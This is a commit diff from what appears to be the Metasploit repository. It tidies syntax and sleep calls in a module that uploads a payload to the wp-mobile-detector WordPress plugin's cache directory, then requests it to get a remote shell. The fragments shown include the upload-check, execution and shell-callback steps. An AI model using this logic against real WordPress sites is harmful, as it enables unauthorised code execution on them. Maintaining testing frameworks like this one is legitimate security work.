Skip to content

Commit 037c58d

Browse files
committed
wp-mobile-detector udpates
1 parent cfd7761 commit 037c58d

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ def exploit
6161
'method' => 'GET',
6262
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
6363
)
64-
if res and !res.body.include?(payload_name)
64+
if res && !res.body.include?(payload_name)
6565
vprint_status("#{payload_name} verified as not written.")
6666
else
6767
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
@@ -95,15 +95,15 @@ def on_request_uri(cli, _request)
9595
print_good('Sleeping 5 seconds for payload upload')
9696
register_files_for_cleanup(payload_name)
9797

98-
select(nil,nil,nil,5)
98+
Rex.sleep(5)
9999

100100
print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
101101
send_request_cgi(
102102
{
103103
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
104104
})
105105
# wait for callback, without this we exit too fast and miss our shell
106-
select(nil,nil,nil,2)
106+
Rex.sleep(2)
107107
handler
108108
else
109109
if res.nil?

0 commit comments

Comments
 (0)